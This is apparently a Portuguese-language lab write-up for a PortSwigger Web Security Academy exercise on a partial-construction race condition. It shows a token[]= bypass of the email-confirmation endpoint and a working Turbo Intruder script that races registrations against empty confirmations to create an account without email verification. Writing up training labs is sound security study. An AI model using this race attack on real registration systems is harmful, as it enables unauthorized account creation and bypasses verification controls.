> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/race-conditions/partial-construction-race-condition.md).

# Condição de corrida de construção parcial

Anotações sobre Condição de corrida de construção parcial para os laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, testes de payloads, validação no Burp Suite e contexto de remediação.

### Condições de corrida de construção parcial

#### Objetivo do laboratório

* O site oferece um mecanismo de registro com **verificação por e-mail**.
* Um **condição de corrida** permite que você **burlar a verificação** e se registrar com um endereço arbitrário.
* Objetivo final: **criar uma conta**, faça login e então **excluir o usuário `carlos`**.

#### Contexto observado (registro)

* Mensagem na interface:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24f17f5b847a9c3887fdddafdd7706595e5abebd%2F%7BA18E1907-6B04-4C77-949C-F8B12AF0A421%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Tentativa de criar uma conta com o e-mail fornecido pelo laboratório -> resposta:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e2b86436a7ab4121fd88df8e938f084b5aeddf4%2F%7BE5DDCCA7-1BEF-42AE-8C8A-8DC3AF55C4BB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1aca0bde6c8441b02ece6dbb5b2e05899e24a135%2F%7B5D9701C9-ECBC-476D-9AD8-D38EC2CA4DAF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Testado com um e-mail válido, por exemplo `jordan@ginandjuice.shop` → resposta:

**“Verifique seus e-mails para encontrar o link de registro da sua conta”**.

{% code overflow="wrap" %}

```bash
csrf=HggS13aIQlQSXW9Tdhh1NmOGrSYIalTN&username=wiener&email=wiener%40exploit-0ad00064047bcce1804a250e017f00f9.exploit-server.net&password=peter
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22f658ac46758103d0577f611a5287baa76702e6%2F%7B7B94D162-1DED-46B2-B278-970DFAD645FE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec0fd237452ad5f22334c64db92ddabb494b5056%2F%7BA2F88AE9-8978-4E93-85CB-A6DF3687B997%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Análise da exploração (resources/users.js)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1856389c26e7f55e995f7c5f502e9de284c013e%2F%7B61020D38-C14D-475A-9587-0A93364AA401%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Em `users.js`, vemos:

* O formulário de registro envia `nome de usuário`, `email`, `senha`.
* A confirmação de e-mail é feita via um **POST** para:
* `POST /confirm?token=...`
* O token é extraído da URL e injetado na ação do formulário de confirmação.

Conclusão: a validação depende de um endpoint **/confirm** com um parâmetro **token** transmitido na string de consulta.

```javascript
const createRegistrationForm = () => {
    const form = document.getElementById('user-registration');

    const usernameLabel = document.createElement('label');
    usernameLabel.textContent = 'Nome de usuário';
    const usernameInput = document.createElement('input');
    usernameInput.required = true;
    usernameInput.type = 'text';
    usernameInput.name = 'username';

    const emailLabel = document.createElement('label');
    emailLabel.textContent = 'E-mail';
    const emailInput = document.createElement('input');
    emailInput.required = true;
    emailInput.type = 'email';
    emailInput.name = 'email';

    const passwordLabel = document.createElement('label');
    passwordLabel.textContent = 'Senha';
    const passwordInput = document.createElement('input');
    passwordInput.required = true;
    passwordInput.type = 'password';
    passwordInput.name = 'password';

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'Registrar';

    form.appendChild(usernameLabel);
    form.appendChild(usernameInput);
    form.appendChild(emailLabel);
    form.appendChild(emailInput);
    form.appendChild(passwordLabel);
    form.appendChild(passwordInput);
    form.appendChild(button);
}

const confirmEmail = () => {
    const container = document.getElementsByClassName('confirmation')[0];

    const parts = window.location.href.split("?");
    const query = parts.length == 2 ? parts[1] : "";
    const action = query.includes('token') ? query : "";

    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '/confirm?' + action;

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'Confirmar';

    form.appendChild(button);
    container.appendChild(form);
}
```

#### Primeira tentativa e bloqueio

* Tentativa de forçar uma confirmação vazia:

```http
POST /confirm?token=token
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3104ad225fdf70e33c271bee4a2e9a3c48eefcaf%2F%7BC969BCB1-E99A-4D2C-B948-62599AA6EFFB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Resposta: **Proibido** → endpoint protegido contra token vazio

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0f9a2ca9447db2f6319d1f0c25c7436ff79acb7%2F%7B17D6D042-46C7-435C-9442-D9FC5D60E1ED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Contornando a proteção (interpretação alternativa)

Nova tentativa:

```bash
/confirm?token[]=
```

* Resposta: \*\*
* Interpretação: o backend não bloqueia mais com Proibido; ele \*\*processa o valor\*\* (mas indica que é um array).

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-952d13dd119a6beff53c6080f85a0b1beeed3e3e%2F%7BAF2023A8-A80E-46D2-A9FA-CBBFEBF17CED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Observação de tempo

* O **registro** a requisição é mais lenta:
* /\~ **199 ms**

O **confirmar** a requisição é mais rápida:

* /\~ **78 ms**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2212f0fdc1cbafd615c64688264bf4f9b5110a0%2F%7B289847AD-FA12-4C23-A653-682E363F7785%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Ideia: **bombardear** `/confirm?token[]=` durante a janela em que a conta está sendo criada, para disparar uma confirmação no momento errado

### Exploração

#### Método 1 — Intruder (concorrência)

1. Envie a `POST /confirm?token[]=` requisição para o Intruder.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580b56c3d66d7366456e0eb48057e605d8ea438d%2F%7BC4110C95-5EF1-4F6E-B08E-E6C940F4DA91%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Configure o envio como **requisições concorrentes** (por exemplo, 10).

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af72280592a255780a820f78271274cca675b45e%2F%7B9DC02AFB-6CFC-4C98-8F2B-70938D7E15AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Durante esse spam, a partir do Repeater (ou do navegador), crie várias contas:
* `test1`, `test2`, `test3`,... `test7`

Verifique as respostas no Intruder:

* Uma das respostas acaba retornando **200**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-052c1726658510d231f65cfdb78d83f54f5951d3%2F%7B6E3F2E7D-5D33-45FC-89DF-9B1CDF3BD983%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Tente fazer login com as contas de teste:

* Sucesso observado (por exemplo, `test2`).

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-add0e6e230ebfb61ea89cd8bc7ecb7a137a8c582%2F%7B7EEA86E1-3FDD-4EFE-A8F5-7DA2B800B52A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Método 2 — Turbo Intruder (ataque de pacote único em corrida)

1. Selecione uma requisição e envie-a para **Turbo Intruder**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4212a4047bf210c2bf9c12f60b13616eaada2d61%2F%7B95A1879D-38AA-4B41-B114-10CD3B29CA3F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Escolha o **corrida / pacote único** ataque.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3168ca0f51b00fa627247ca14e5c8ebb9edb097f%2F%7B54164CBD-FEB5-4DF7-A0BC-A0DC3AD2C510%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Use este script:

Princípio do script (como aplicado aqui):

* Arquivo **vários registros** (`lol0..lol19` usuários)
* Requisição **muitas confirmações** (`/confirm?token[]=`)
* Abra o gate para disparar a condição de corrida.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        engine=Engine.BURP2
    )

    confirmation_email = '''POST /confirm?token[]= HTTP/2
Host: 0a0700db04dacc3080b6262500af004e.web-security-academy.net
Cookie: phpsessionid=sOwKShdkHig4oxnUpwlWZ82vFl6rwdom
Content-Length: 0

'''

    gate_name = "race1"

    for i in range(20):
        username = "lol" + str(i)
        engine.queue(target.req, [username], gate=gate_name)

    for j in range(50):
        engine.queue(confirmation_email, [], gate=gate_name)

    engine.openGate(gate_name)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4706c43374617ed55831e6b82d5e930744c312ae%2F%7B74D37D79-9A46-4D52-8BE7-CCBBD605E6C4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Resultado esperado

* Pelo menos uma conta é criada **como se o e-mail tivesse sido confirmado** (sem possuir o token).
* Em seguida, você pode fazer login com essa conta e usar os recursos da conta para alcançar o objetivo do laboratório (exclusão de `carlos`).

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c8507bad44fec280f25f2f54c857fce9e66e323%2F%7BDD4E6F03-47AB-4F9D-9D1B-18FAF8A83924%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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